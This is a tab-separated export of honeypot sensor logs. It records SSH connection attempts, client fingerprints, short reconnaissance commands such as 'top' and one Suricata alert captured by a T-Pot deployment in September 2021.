32979	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:12.771699+03	2021-09-20 15:00:04.164752+03	{"_id": "vQYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "72b3abb7134e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:12.771699Z", "@timestamp": "2021-09-20T11:54:12.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32980	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:12.768582+03	2021-09-20 15:00:04.165753+03	{"_id": "vgYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:40246 (192.168.176.2:22) [session: 72b3abb7134e]", "session": "72b3abb7134e", "@version": "1", "protocol": "ssh", "src_port": 40246, "dest_port": 22, "timestamp": "2021-09-20T11:54:12.768582Z", "@timestamp": "2021-09-20T11:54:12.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32981	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:12.242876+03	2021-09-20 15:00:04.166753+03	{"_id": "vwYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "91.231.219.157", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.2099015712738037, "duplicate": true, "timestamp": "2021-09-20T11:54:12.242876Z", "@timestamp": "2021-09-20T11:54:12.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32982	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:12.501627+03	2021-09-20 15:00:04.167754+03	{"_id": "wAYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:12.501627Z", "@timestamp": "2021-09-20T11:54:12.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32983	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:54:13.055222+03	2021-09-20 15:00:04.169756+03	{"_id": "wQYOA3wBvYTbRNuEfE2E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 706103199689566, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40246, "dest_port": 22, "timestamp": "2021-09-20T11:54:13.055222Z", "@timestamp": "2021-09-20T11:54:13.055Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32994	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:11.151583+03	2021-09-20 15:00:04.182753+03	{"_id": "qgYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:11.151583Z", "@timestamp": "2021-09-20T11:54:11.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32984	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:12.773793+03	2021-09-20 15:00:04.170757+03	{"_id": "wgYOA3wBvYTbRNuEfU2N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40246, "timestamp": "2021-09-20T11:54:12.773793", "@timestamp": "2021-09-20T11:54:12.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32985	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:13.065807+03	2021-09-20 15:00:04.171755+03	{"_id": "xQYOA3wBvYTbRNuEf00G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:13.065807Z", "@timestamp": "2021-09-20T11:54:13.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32986	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:54:14.510493+03	2021-09-20 15:00:04.172752+03	{"_id": "ygYOA3wBvYTbRNuEgU12", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2134, "dest_port": 22, "timestamp": "2021-09-20T11:54:14.510493", "@timestamp": "2021-09-20T11:54:14.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32987	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:54:14.223805+03	2021-09-20 15:00:04.173753+03	{"_id": "1gYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "119df4829777", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:14.223805Z", "@timestamp": "2021-09-20T11:54:14.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32988	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:54:14.511052+03	2021-09-20 15:00:04.175754+03	{"_id": "3wYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "119df4829777", "@version": "1", "timestamp": "2021-09-20T11:54:14.511052Z", "@timestamp": "2021-09-20T11:54:14.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32989	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:14.689455+03	2021-09-20 15:00:04.176757+03	{"_id": "4AYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "189.50.42.214", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.468639612197876, "duplicate": true, "timestamp": "2021-09-20T11:54:14.689455Z", "@timestamp": "2021-09-20T11:54:14.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32990	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:10.630254+03	2021-09-20 15:00:04.177753+03	{"_id": "ogYOA3wBvYTbRNuEc01M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:10.630254Z", "@timestamp": "2021-09-20T11:54:10.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32991	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:10.960173+03	2021-09-20 15:00:04.178749+03	{"_id": "oQYOA3wBvYTbRNuEc01M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "91.231.219.157", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21188044548034668, "duplicate": true, "timestamp": "2021-09-20T11:54:10.960173Z", "@timestamp": "2021-09-20T11:54:10.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32992	157.240.9.23	109.199.241.180	Suricata	2021-09-20 14:54:10.531082+03	2021-09-20 15:00:04.179753+03	{"_id": "owYOA3wBvYTbRNuEdE2y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:10.426910+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.23", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.23", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2175750813942686, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34172, "timestamp": "2021-09-20T11:54:10.531082Z", "@timestamp": "2021-09-20T11:54:10.531Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32993	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:11.262757+03	2021-09-20 15:00:04.180752+03	{"_id": "qQYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "189.50.42.214", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.6325860023498535, "duplicate": true, "timestamp": "2021-09-20T11:54:11.262757Z", "@timestamp": "2021-09-20T11:54:11.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32995	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:12.582506+03	2021-09-20 15:00:04.183754+03	{"_id": "tgYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:12.582506Z", "@timestamp": "2021-09-20T11:54:12.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
